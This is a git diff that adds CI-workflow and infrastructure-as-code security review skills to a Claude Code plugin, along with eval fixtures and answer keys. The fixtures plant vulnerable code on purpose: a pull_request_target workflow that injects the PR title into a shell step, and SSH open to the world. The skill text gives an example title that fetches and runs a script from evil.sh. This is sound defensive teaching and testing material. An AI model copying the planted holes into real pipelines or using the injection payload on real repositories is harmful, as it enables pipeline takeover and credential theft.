diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index f090e7e..0d4cb54 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -8,7 +8,7 @@ { "name": "skilldeck", "source": "./claude-plugin", - "description": "Security and code-review skills for Claude Code: code-smells, dependency-review, logging, migration-review, resilience-review, security-review, test-review" + "description": "Security and code-review skills for Claude Code: ci-workflow-review, code-smells, dependency-review, iac-review, logging, migration-review, resilience-review, security-review, test-review" } ] } diff --git a/CHANGELOG.md b/CHANGELOG.md index 31f9d7a..2f7429d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,6 +15,19 @@ All notable changes to this project are documented here. The format is based on ### Added +- `ci-workflow-review` skill (0.1.0) — reviews CI/CD pipeline changes for + injection and poisoned pipeline execution (untrusted `github.event` + interpolation, `pull_request_target` + head checkout), credential and token + scope, unpinned third-party steps, artifact/cache integrity, and runner + exposure. Classified against the OWASP Top 10 CI/CD Security Risks + (CICD-SEC-1–10) with patterns from GitHub's Actions hardening guide. Ships + with an eval fixture (fork-triggerable title injection). +- `iac-review` skill (0.1.0) — reviews infrastructure-as-code changes + (Terraform, CloudFormation, Kubernetes/Helm, Dockerfiles) for network + exposure, wildcard IAM, secrets in code/state, missing encryption, container + hardening per the Kubernetes Pod Security Standards and the OWASP Docker + cheat sheet, and stateful-resource change safety; anchored to CIS benchmark + baselines. Ships with an eval fixture (security group open to the world). - Golden-diff eval harness (`evals/`) (#32): seven fixtures — one per skill — each a tiny repo whose diff contains a planted defect (IDOR, non-concurrent index, assertion-free test, missing timeout, token in a log, git-fork diff --git a/claude-plugin/.claude-plugin/plugin.json b/claude-plugin/.claude-plugin/plugin.json index d99d138..e49f50a 100644 --- a/claude-plugin/.claude-plugin/plugin.json +++ b/claude-plugin/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "skilldeck", "version": "0.3.0", - "description": "Security and code-review skills for Claude Code: code-smells, dependency-review, logging, migration-review, resilience-review, security-review, test-review", + "description": "Security and code-review skills for Claude Code: ci-workflow-review, code-smells, dependency-review, iac-review, logging, migration-review, resilience-review, security-review, test-review", "author": { "name": "Richard Hope", "url": "https://github.com/IcebergAI/skilldeck" diff --git a/claude-plugin/skills/ci-workflow-review/SKILL.md b/claude-plugin/skills/ci-workflow-review/SKILL.md new file mode 100644 index 0000000..fa17705 --- /dev/null +++ b/claude-plugin/skills/ci-workflow-review/SKILL.md @@ -0,0 +1,131 @@ +--- +name: ci-workflow-review +description: Review CI/CD pipeline changes for injection, credential exposure, and + supply-chain risk, aligned to the OWASP Top 10 CI/CD Security Risks. +--- + +# CI Workflow Review + +Review the **pending changes on the current branch** that touch CI/CD pipeline +configuration — GitHub Actions workflows, GitLab CI, Jenkins, and similar — for +the ways a pipeline can be hijacked or made to leak credentials. Findings are +classified against the +[OWASP Top 10 CI/CD Security Risks](https://owasp.org/www-project-top-10-ci-cd-security-risks/) +(CICD-SEC-1–10), with concrete patterns drawn from GitHub's +[security hardening for GitHub Actions](https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions) +guidance; the patterns generalize to other CI systems. Pair with +`dependency-review` for the packages a build installs and `security-review` +for application code. + +Pipeline config is code that runs with credentials. Treat every value an +outside contributor can influence — PR titles and bodies, branch names, commit +messages, author names, issue text — as attacker-controlled input that must +never reach a shell or a privileged context unquoted. Exploitability hinges on +**who can trigger the workflow** and **what the job can reach**: establish +both before judging severity. + +## Scope + +1. Determine the diff: `git diff ...HEAD` (default base: `main`/`master`), + plus any uncommitted or untracked changes. If you are already on the base + branch, review the uncommitted changes instead. +2. Focus on pipeline files: `.github/workflows/*`, action definitions + (`action.yml`), reusable workflows, `.gitlab-ci.yml`, `Jenkinsfile`, + `azure-pipelines.yml`, `.circleci/`, Buildkite/Tekton configs. +3. Read the whole workflow around each hunk, not just the diff — triggers, + `permissions`, and secrets interact across the file, and a guard may sit + outside the changed lines. +4. For each changed job, establish the trigger surface: can a fork PR, an + issue event, or an unauthenticated actor cause it to run, and with which + token and secrets? + +## What to look for (by CICD-SEC category) + +### Poisoned pipeline execution & injection (CICD-SEC-4, CICD-SEC-1) + +- **Untrusted interpolation into scripts** — expressions such as + `${{ github.event.pull_request.title }}`, `.body`, branch names, commit + messages, or author names expanded inside `run:` — attacker-controlled text + becomes shell. Route the value through `env:` and reference it quoted + (`"$TITLE"`), or pass it as an action argument. +- **Privileged trigger + untrusted code** — `pull_request_target` or + `workflow_run` combined with a checkout of the PR head + (`ref: github.event.pull_request.head.sha`) runs attacker code with secrets + and a write token. +- Executing files an outside contributor can modify (build scripts, Makefiles, + `package.json` lifecycle hooks) inside a privileged job. +- Deploy or release jobs newly reachable without a required review, + environment protection rule, or branch gate (insufficient flow control). + +### Credential hygiene & token scope (CICD-SEC-6, CICD-SEC-5, CICD-SEC-2) + +- Missing or broadened `permissions:` — the workflow inherits a broad default + `GITHUB_TOKEN`; set `permissions: contents: read` at the top and raise + per-job only as needed. +- Secrets in plaintext in the pipeline file; secrets passed as command-line + arguments (visible in logs and process lists); derived/transformed secrets + that will not be masked; a whole JSON credential blob where one field is + needed. +- Secrets or privileged runners newly exposed to jobs that fork PRs can + trigger. +- Long-lived cloud keys stored as secrets where short-lived OIDC federation + is available. + +### Third-party steps (CICD-SEC-3, CICD-SEC-8) + +- Actions, orbs, or plugins referenced by **mutable tag or branch** + (`uses: some/action@v3`, `@main`) instead of a full commit SHA — the only + immutable reference; a compromised action sees every secret its job gets. +- New third-party steps or reusable workflows from outside the org with no + provenance check. + +### Artifacts, caches & runners (CICD-SEC-9, CICD-SEC-7) + +- Artifacts produced by an untrusted workflow run consumed by a privileged + job without validation; caches writable from fork PRs feeding privileged + builds (cache poisoning). +- Self-hosted runners exposed to public-repo or fork-PR workloads; secrets + and credentials resident on the runner image. +- `continue-on-error:` added to a security check; debug flags that echo + secrets or environment into logs (also CICD-SEC-10). + +## Output + +Report each finding as a single list item: + +- **[severity] CICD-SEC category** — `file:line` + **Issue:** who can trigger it, what they control, and what they gain. + **Fix:** the concrete change (quote via `env:`, drop the privileged trigger, + pin the SHA, scope `permissions:`). + +`severity` reflects who can trigger it and what they get: **critical** — an +outside contributor can run code with secrets or a write token (script +injection in a fork-triggerable workflow, `pull_request_target` + head +checkout); **high** — broad token or secret exposure, or an unpinned +third-party step inside a privileged job; **medium** — hardening gaps +exploitable only by collaborators; **low** — hygiene. The classifier is the +CICD-SEC category (e.g. `CICD-SEC-4 Poisoned Pipeline Execution`). Order +findings by severity, highest first, keeping one issue per finding. +For example: + +- **[critical] CICD-SEC-4 Poisoned Pipeline Execution** — `.github/workflows/greet.yml:14` + **Issue:** `run: echo "Thanks for ${{ github.event.pull_request.title }}"` + expands the attacker-controlled PR title directly into bash in a workflow + fork PRs can trigger — a title like `"; curl https://evil.sh | sh` executes + arbitrary code with the job's token. + **Fix:** pass the title via `env:` (`TITLE: ${{ github.event.pull_request.title }}`) + and reference it quoted (`"$TITLE"`). + +Verify before reporting: check the changed job's actual trigger and +`permissions` before calling something exploitable — the same interpolation is +critical under a fork-triggerable event and low in a manually dispatched +maintainer job — quote the offending line in the Issue, and drop anything +without a concrete attacker path. Prefer the few findings that matter; if more +than ~10 survive, report the ones worth a human's time and summarize the rest +in a line. + +Open the report with one line stating what was reviewed and the outcome, e.g. +`Reviewed main..HEAD (2 workflows): 1 finding, critical.` If the diff touches +no pipeline configuration, say so rather than reviewing application code. If +the pipeline changes are sound, say so explicitly rather than manufacturing +findings. diff --git a/claude-plugin/skills/iac-review/SKILL.md b/claude-plugin/skills/iac-review/SKILL.md new file mode 100644 index 0000000..1c222d7 --- /dev/null +++ b/claude-plugin/skills/iac-review/SKILL.md @@ -0,0 +1,134 @@ +--- +name: iac-review +description: Review infrastructure-as-code changes for security misconfigurations, + aligned to CIS benchmark baselines and the Kubernetes Pod Security Standards. +--- + +# IaC Review + +Review the **pending changes on the current branch** to infrastructure-as-code +— Terraform/OpenTofu, CloudFormation, Pulumi, Kubernetes manifests and Helm +charts, Dockerfiles and compose files — for misconfigurations that expose +infrastructure. The checklists follow the hardening baselines of the +[CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks), the Kubernetes +[Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +(baseline/restricted profiles), and the OWASP +[Docker Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html). +Pair with `ci-workflow-review` for the pipelines that apply this code and +`security-review` for the application itself. + +Judge by blast radius and environment: a permissive rule in an isolated dev +sandbox is not a production exposure — but config has a habit of being copied +to prod, so say which assumption your severity rests on. Note the platform +where behavior differs (AWS/GCP/Azure defaults are not the same). + +## Scope + +1. Determine the diff: `git diff ...HEAD` (default base: `main`/`master`), + plus any uncommitted or untracked changes. If you are already on the base + branch, review the uncommitted changes instead. +2. Focus on infrastructure files: `*.tf`/`*.tfvars`, CloudFormation/CDK + templates, `k8s/`/`manifests/`/`charts/` YAML, `Dockerfile*`, + `docker-compose*`, Ansible playbooks, and the variables/values files that + feed them. +3. Read the whole resource around each hunk, not just the diff — a rule's + exposure depends on sibling attributes (the VPC it's in, the principal it + binds, the profile it inherits) that may sit outside the changed lines. +4. If the project already runs an IaC scanner (Checkov, tfsec/Trivy, + kube-score, conftest/OPA, kics), don't re-flag what it enforces; focus on + what it can't see (intent, environment, blast radius). + +## What to look for (by category) + +### Network exposure + +- Security groups / firewall rules open to the world (`0.0.0.0/0`, `::/0`) — + worst on management and data ports (SSH 22, RDP 3389, database ports). +- Storage buckets or object containers made public (ACLs, policies, or + disabled public-access blocks); public IPs or public subnets for internal + services; load balancers or endpoints without TLS. +- Kubernetes: `hostNetwork`/`hostPort`, NodePort services where an ingress + belongs, overly broad NetworkPolicy (or none where the project uses them). + +### Identity & access (least privilege) + +- Wildcard IAM — `Action: "*"`, `Resource: "*"`, `Principal: "*"` — or + admin-equivalent managed policies attached to service roles. +- Kubernetes RBAC with wildcard verbs/resources, `cluster-admin` bindings for + workloads, service-account tokens automounted where unused. +- Cross-account/public sharing of images, snapshots, or key material. + +### Secrets & state + +- Credentials hardcoded in templates, variables, `user_data`/cloud-init, or + Dockerfile `ENV`/`ARG` (build args persist in image history); Kubernetes + `Secret` data committed in a plain manifest. +- Terraform state for shared infrastructure kept local or in an unencrypted, + unversioned backend — state contains every secret the resources do. +- Secrets passed as environment variables where the platform offers a secrets + manager or mounted secret. + +### Data protection + +- Encryption at rest disabled (or default keys where customer-managed keys + are the project norm); encryption in transit not enforced. +- Backups, versioning, deletion protection, or access logging disabled on + stateful or sensitive stores; public database snapshots. + +### Containers & pods (PSS baseline/restricted) + +- `privileged: true`; host namespaces (`hostNetwork`, `hostPID`, `hostIPC`) + or `hostPath` mounts; the Docker socket mounted into a container; added + Linux capabilities beyond the PSS safe list. +- Missing `runAsNonRoot`/`USER` (container runs as root), + `allowPrivilegeEscalation` not `false`, root filesystem not read-only where + it could be, seccomp/AppArmor defaults disabled. +- No CPU/memory limits (noisy-neighbor and DoS surface); mutable `:latest` + image tags; bloated base images where minimal ones fit. + +### Change safety + +- A rename or type change that forces **replacement of a stateful resource** + (database, volume, queue) hidden in an innocuous-looking diff. +- Deletion protection or `prevent_destroy` removed; lifecycle rules that + purge data earlier than intended. + +## Output + +Report each finding as a single list item: + +- **[severity] misconfiguration kind** — `file:line` + **Issue:** what is exposed or weakened, to whom, and under which environment + assumption. + **Fix:** the concrete configuration change (restrict the CIDR, drop the + capability, scope the policy, move the secret). + +`severity` reflects exposure and blast radius: **critical** — internet-facing +attack surface or leaked credential (a bucket or security group open to the +world on a sensitive port, a secret in code); **high** — a privilege-escalation +path or unencrypted/unprotected sensitive data; **medium** — a hardening +regression contained inside the cluster or network boundary; **low** — +hygiene. The classifier is the misconfiguration kind (e.g. `Open security +group`, `Wildcard IAM`, `Privileged container`, `Secret in code`). Order +findings by severity, highest first, keeping one issue per finding. +For example: + +- **[critical] Open security group** — `infra/network.tf:23` + **Issue:** the new ingress rule allows `0.0.0.0/0` on port 22, exposing SSH + on every instance in the group to the internet; brute-force and scanner + traffic reach it immediately. + **Fix:** restrict the CIDR to the bastion/VPN range, or drop the rule and + use the cloud's session-manager access instead. + +Verify before reporting: confirm the exposure is real in context — the +resource's siblings (VPC, public-access block, inherited profile) may already +contain it — quote the offending attribute in the Issue, and drop anything you +cannot tie to a concrete exposure. Prefer the few findings that matter; if +more than ~10 survive, report the ones worth a human's time and summarize the +rest in a line. + +Open the report with one line stating what was reviewed and the outcome, e.g. +`Reviewed main..HEAD (3 files): 1 finding, critical.` If the diff touches no +infrastructure code, say so rather than reviewing application code. If the +infrastructure changes are sound, say so explicitly rather than manufacturing +findings. diff --git a/evals/fixtures/ci-workflow-review/base/.github/workflows/ci.yml b/evals/fixtures/ci-workflow-review/base/.github/workflows/ci.yml new file mode 100644 index 0000000..00ae2b0 --- /dev/null +++ b/evals/fixtures/ci-workflow-review/base/.github/workflows/ci.yml @@ -0,0 +1,14 @@ +name: CI + +on: + pull_request: + +permissions: + contents: read + +jobs: + test: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + - run: make test diff --git a/evals/fixtures/ci-workflow-review/change/.github/workflows/greet.yml b/evals/fixtures/ci-workflow-review/change/.github/workflows/greet.yml new file mode 100644 index 0000000..718c8c7 --- /dev/null +++ b/evals/fixtures/ci-workflow-review/change/.github/workflows/greet.yml @@ -0,0 +1,17 @@ +name: Greet + +on: + pull_request_target: + types: [opened] + +jobs: + greet: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + with: + ref: ${{ github.event.pull_request.head.sha }} + - name: Thank the contributor + run: | + echo "Thanks for ${{ github.event.pull_request.title }}!" + ./scripts/welcome.sh diff --git a/evals/fixtures/ci-workflow-review/expected.yaml b/evals/fixtures/ci-workflow-review/expected.yaml new file mode 100644 index 0000000..2f635c2 --- /dev/null +++ b/evals/fixtures/ci-workflow-review/expected.yaml @@ -0,0 +1,5 @@ +skill: ci-workflow-review +plants: + - file: .github/workflows/greet.yml + keywords: [injection, pull_request_target, untrusted] +max-findings: 5 diff --git a/evals/fixtures/iac-review/base/infra/network.tf b/evals/fixtures/iac-review/base/infra/network.tf new file mode 100644 index 0000000..9bf7ca3 --- /dev/null +++ b/evals/fixtures/iac-review/base/infra/network.tf @@ -0,0 +1,12 @@ +resource "aws_security_group" "app" { + name = "app" + vpc_id = var.vpc_id + + ingress { + description = "app traffic from the load balancer" + from_port = 8080 + to_port = 8080 + protocol = "tcp" + security_groups = [var.lb_security_group_id] + } +} diff --git a/evals/fixtures/iac-review/change/infra/network.tf b/evals/fixtures/iac-review/change/infra/network.tf new file mode 100644 index 0000000..8927f56 --- /dev/null +++ b/evals/fixtures/iac-review/change/infra/network.tf @@ -0,0 +1,20 @@ +resource "aws_security_group" "app" { + name = "app" + vpc_id = var.vpc_id + + ingress { + description = "app traffic from the load balancer" + from_port = 8080 + to_port = 8080 + protocol = "tcp" + security_groups = [var.lb_security_group_id] + } + + ingress { + description = "ssh for debugging" + from_port = 22 + to_port = 22 + protocol = "tcp" + cidr_blocks = ["0.0.0.0/0"] + } +} diff --git a/evals/fixtures/iac-review/expected.yaml b/evals/fixtures/iac-review/expected.yaml new file mode 100644 index 0000000..9233851 --- /dev/null +++ b/evals/fixtures/iac-review/expected.yaml @@ -0,0 +1,5 @@ +skill: iac-review +plants: + - file: infra/network.tf + keywords: [0.0.0.0, internet, world] +max-findings: 4 diff --git a/src/skilldeck/skills/ci-workflow-review/meta.yaml b/src/skilldeck/skills/ci-workflow-review/meta.yaml new file mode 100644 index 0000000..22bf8ef --- /dev/null +++ b/src/skilldeck/skills/ci-workflow-review/meta.yaml @@ -0,0 +1,10 @@ +name: ci-workflow-review +description: Review CI/CD pipeline changes for injection, credential exposure, and supply-chain risk, aligned to the OWASP Top 10 CI/CD Security Risks. +category: security +version: 0.1.0 +supported-agents: + - claude + - codex + - copilot + - cursor + - kiro diff --git a/src/skilldeck/skills/ci-workflow-review/skill.md b/src/skilldeck/skills/ci-workflow-review/skill.md new file mode 100644 index 0000000..ed774d9 --- /dev/null +++ b/src/skilldeck/skills/ci-workflow-review/skill.md @@ -0,0 +1,125 @@ +# CI Workflow Review + +Review the **pending changes on the current branch** that touch CI/CD pipeline +configuration — GitHub Actions workflows, GitLab CI, Jenkins, and similar — for +the ways a pipeline can be hijacked or made to leak credentials. Findings are +classified against the +[OWASP Top 10 CI/CD Security Risks](https://owasp.org/www-project-top-10-ci-cd-security-risks/) +(CICD-SEC-1–10), with concrete patterns drawn from GitHub's +[security hardening for GitHub Actions](https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions) +guidance; the patterns generalize to other CI systems. Pair with +`dependency-review` for the packages a build installs and `security-review` +for application code. + +Pipeline config is code that runs with credentials. Treat every value an +outside contributor can influence — PR titles and bodies, branch names, commit +messages, author names, issue text — as attacker-controlled input that must +never reach a shell or a privileged context unquoted. Exploitability hinges on +**who can trigger the workflow** and **what the job can reach**: establish +both before judging severity. + +## Scope + +1. Determine the diff: `git diff ...HEAD` (default base: `main`/`master`), + plus any uncommitted or untracked changes. If you are already on the base + branch, review the uncommitted changes instead. +2. Focus on pipeline files: `.github/workflows/*`, action definitions + (`action.yml`), reusable workflows, `.gitlab-ci.yml`, `Jenkinsfile`, + `azure-pipelines.yml`, `.circleci/`, Buildkite/Tekton configs. +3. Read the whole workflow around each hunk, not just the diff — triggers, + `permissions`, and secrets interact across the file, and a guard may sit + outside the changed lines. +4. For each changed job, establish the trigger surface: can a fork PR, an + issue event, or an unauthenticated actor cause it to run, and with which + token and secrets? + +## What to look for (by CICD-SEC category) + +### Poisoned pipeline execution & injection (CICD-SEC-4, CICD-SEC-1) + +- **Untrusted interpolation into scripts** — expressions such as + `${{ github.event.pull_request.title }}`, `.body`, branch names, commit + messages, or author names expanded inside `run:` — attacker-controlled text + becomes shell. Route the value through `env:` and reference it quoted + (`"$TITLE"`), or pass it as an action argument. +- **Privileged trigger + untrusted code** — `pull_request_target` or + `workflow_run` combined with a checkout of the PR head + (`ref: github.event.pull_request.head.sha`) runs attacker code with secrets + and a write token. +- Executing files an outside contributor can modify (build scripts, Makefiles, + `package.json` lifecycle hooks) inside a privileged job. +- Deploy or release jobs newly reachable without a required review, + environment protection rule, or branch gate (insufficient flow control). + +### Credential hygiene & token scope (CICD-SEC-6, CICD-SEC-5, CICD-SEC-2) + +- Missing or broadened `permissions:` — the workflow inherits a broad default + `GITHUB_TOKEN`; set `permissions: contents: read` at the top and raise + per-job only as needed. +- Secrets in plaintext in the pipeline file; secrets passed as command-line + arguments (visible in logs and process lists); derived/transformed secrets + that will not be masked; a whole JSON credential blob where one field is + needed. +- Secrets or privileged runners newly exposed to jobs that fork PRs can + trigger. +- Long-lived cloud keys stored as secrets where short-lived OIDC federation + is available. + +### Third-party steps (CICD-SEC-3, CICD-SEC-8) + +- Actions, orbs, or plugins referenced by **mutable tag or branch** + (`uses: some/action@v3`, `@main`) instead of a full commit SHA — the only + immutable reference; a compromised action sees every secret its job gets. +- New third-party steps or reusable workflows from outside the org with no + provenance check. + +### Artifacts, caches & runners (CICD-SEC-9, CICD-SEC-7) + +- Artifacts produced by an untrusted workflow run consumed by a privileged + job without validation; caches writable from fork PRs feeding privileged + builds (cache poisoning). +- Self-hosted runners exposed to public-repo or fork-PR workloads; secrets + and credentials resident on the runner image. +- `continue-on-error:` added to a security check; debug flags that echo + secrets or environment into logs (also CICD-SEC-10). + +## Output + +Report each finding as a single list item: + +- **[severity] CICD-SEC category** — `file:line` + **Issue:** who can trigger it, what they control, and what they gain. + **Fix:** the concrete change (quote via `env:`, drop the privileged trigger, + pin the SHA, scope `permissions:`). + +`severity` reflects who can trigger it and what they get: **critical** — an +outside contributor can run code with secrets or a write token (script +injection in a fork-triggerable workflow, `pull_request_target` + head +checkout); **high** — broad token or secret exposure, or an unpinned +third-party step inside a privileged job; **medium** — hardening gaps +exploitable only by collaborators; **low** — hygiene. The classifier is the +CICD-SEC category (e.g. `CICD-SEC-4 Poisoned Pipeline Execution`). Order +findings by severity, highest first, keeping one issue per finding. +For example: + +- **[critical] CICD-SEC-4 Poisoned Pipeline Execution** — `.github/workflows/greet.yml:14` + **Issue:** `run: echo "Thanks for ${{ github.event.pull_request.title }}"` + expands the attacker-controlled PR title directly into bash in a workflow + fork PRs can trigger — a title like `"; curl https://evil.sh | sh` executes + arbitrary code with the job's token. + **Fix:** pass the title via `env:` (`TITLE: ${{ github.event.pull_request.title }}`) + and reference it quoted (`"$TITLE"`). + +Verify before reporting: check the changed job's actual trigger and +`permissions` before calling something exploitable — the same interpolation is +critical under a fork-triggerable event and low in a manually dispatched +maintainer job — quote the offending line in the Issue, and drop anything +without a concrete attacker path. Prefer the few findings that matter; if more +than ~10 survive, report the ones worth a human's time and summarize the rest +in a line. + +Open the report with one line stating what was reviewed and the outcome, e.g. +`Reviewed main..HEAD (2 workflows): 1 finding, critical.` If the diff touches +no pipeline configuration, say so rather than reviewing application code. If +the pipeline changes are sound, say so explicitly rather than manufacturing +findings. diff --git a/src/skilldeck/skills/iac-review/meta.yaml b/src/skilldeck/skills/iac-review/meta.yaml new file mode 100644 index 0000000..92d1ce5 --- /dev/null +++ b/src/skilldeck/skills/iac-review/meta.yaml @@ -0,0 +1,10 @@ +name: iac-review +description: Review infrastructure-as-code changes for security misconfigurations, aligned to CIS benchmark baselines and the Kubernetes Pod Security Standards. +category: security +version: 0.1.0 +supported-agents: + - claude + - codex + - copilot + - cursor + - kiro diff --git a/src/skilldeck/skills/iac-review/skill.md b/src/skilldeck/skills/iac-review/skill.md new file mode 100644 index 0000000..2ffc1ea --- /dev/null +++ b/src/skilldeck/skills/iac-review/skill.md @@ -0,0 +1,128 @@ +# IaC Review + +Review the **pending changes on the current branch** to infrastructure-as-code +— Terraform/OpenTofu, CloudFormation, Pulumi, Kubernetes manifests and Helm +charts, Dockerfiles and compose files — for misconfigurations that expose +infrastructure. The checklists follow the hardening baselines of the +[CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks), the Kubernetes +[Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +(baseline/restricted profiles), and the OWASP +[Docker Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html). +Pair with `ci-workflow-review` for the pipelines that apply this code and +`security-review` for the application itself. + +Judge by blast radius and environment: a permissive rule in an isolated dev +sandbox is not a production exposure — but config has a habit of being copied +to prod, so say which assumption your severity rests on. Note the platform +where behavior differs (AWS/GCP/Azure defaults are not the same). + +## Scope + +1. Determine the diff: `git diff ...HEAD` (default base: `main`/`master`), + plus any uncommitted or untracked changes. If you are already on the base + branch, review the uncommitted changes instead. +2. Focus on infrastructure files: `*.tf`/`*.tfvars`, CloudFormation/CDK + templates, `k8s/`/`manifests/`/`charts/` YAML, `Dockerfile*`, + `docker-compose*`, Ansible playbooks, and the variables/values files that + feed them. +3. Read the whole resource around each hunk, not just the diff — a rule's + exposure depends on sibling attributes (the VPC it's in, the principal it + binds, the profile it inherits) that may sit outside the changed lines. +4. If the project already runs an IaC scanner (Checkov, tfsec/Trivy, + kube-score, conftest/OPA, kics), don't re-flag what it enforces; focus on + what it can't see (intent, environment, blast radius). + +## What to look for (by category) + +### Network exposure + +- Security groups / firewall rules open to the world (`0.0.0.0/0`, `::/0`) — + worst on management and data ports (SSH 22, RDP 3389, database ports). +- Storage buckets or object containers made public (ACLs, policies, or + disabled public-access blocks); public IPs or public subnets for internal + services; load balancers or endpoints without TLS. +- Kubernetes: `hostNetwork`/`hostPort`, NodePort services where an ingress + belongs, overly broad NetworkPolicy (or none where the project uses them). + +### Identity & access (least privilege) + +- Wildcard IAM — `Action: "*"`, `Resource: "*"`, `Principal: "*"` — or + admin-equivalent managed policies attached to service roles. +- Kubernetes RBAC with wildcard verbs/resources, `cluster-admin` bindings for + workloads, service-account tokens automounted where unused. +- Cross-account/public sharing of images, snapshots, or key material. + +### Secrets & state + +- Credentials hardcoded in templates, variables, `user_data`/cloud-init, or + Dockerfile `ENV`/`ARG` (build args persist in image history); Kubernetes + `Secret` data committed in a plain manifest. +- Terraform state for shared infrastructure kept local or in an unencrypted, + unversioned backend — state contains every secret the resources do. +- Secrets passed as environment variables where the platform offers a secrets + manager or mounted secret. + +### Data protection + +- Encryption at rest disabled (or default keys where customer-managed keys + are the project norm); encryption in transit not enforced. +- Backups, versioning, deletion protection, or access logging disabled on + stateful or sensitive stores; public database snapshots. + +### Containers & pods (PSS baseline/restricted) + +- `privileged: true`; host namespaces (`hostNetwork`, `hostPID`, `hostIPC`) + or `hostPath` mounts; the Docker socket mounted into a container; added + Linux capabilities beyond the PSS safe list. +- Missing `runAsNonRoot`/`USER` (container runs as root), + `allowPrivilegeEscalation` not `false`, root filesystem not read-only where + it could be, seccomp/AppArmor defaults disabled. +- No CPU/memory limits (noisy-neighbor and DoS surface); mutable `:latest` + image tags; bloated base images where minimal ones fit. + +### Change safety + +- A rename or type change that forces **replacement of a stateful resource** + (database, volume, queue) hidden in an innocuous-looking diff. +- Deletion protection or `prevent_destroy` removed; lifecycle rules that + purge data earlier than intended. + +## Output + +Report each finding as a single list item: + +- **[severity] misconfiguration kind** — `file:line` + **Issue:** what is exposed or weakened, to whom, and under which environment + assumption. + **Fix:** the concrete configuration change (restrict the CIDR, drop the + capability, scope the policy, move the secret). + +`severity` reflects exposure and blast radius: **critical** — internet-facing +attack surface or leaked credential (a bucket or security group open to the +world on a sensitive port, a secret in code); **high** — a privilege-escalation +path or unencrypted/unprotected sensitive data; **medium** — a hardening +regression contained inside the cluster or network boundary; **low** — +hygiene. The classifier is the misconfiguration kind (e.g. `Open security +group`, `Wildcard IAM`, `Privileged container`, `Secret in code`). Order +findings by severity, highest first, keeping one issue per finding. +For example: + +- **[critical] Open security group** — `infra/network.tf:23` + **Issue:** the new ingress rule allows `0.0.0.0/0` on port 22, exposing SSH + on every instance in the group to the internet; brute-force and scanner + traffic reach it immediately. + **Fix:** restrict the CIDR to the bastion/VPN range, or drop the rule and + use the cloud's session-manager access instead. + +Verify before reporting: confirm the exposure is real in context — the +resource's siblings (VPC, public-access block, inherited profile) may already +contain it — quote the offending attribute in the Issue, and drop anything you +cannot tie to a concrete exposure. Prefer the few findings that matter; if +more than ~10 survive, report the ones worth a human's time and summarize the +rest in a line. + +Open the report with one line stating what was reviewed and the outcome, e.g. +`Reviewed main..HEAD (3 files): 1 finding, critical.` If the diff touches no +infrastructure code, say so rather than reviewing application code. If the +infrastructure changes are sound, say so explicitly rather than manufacturing +findings.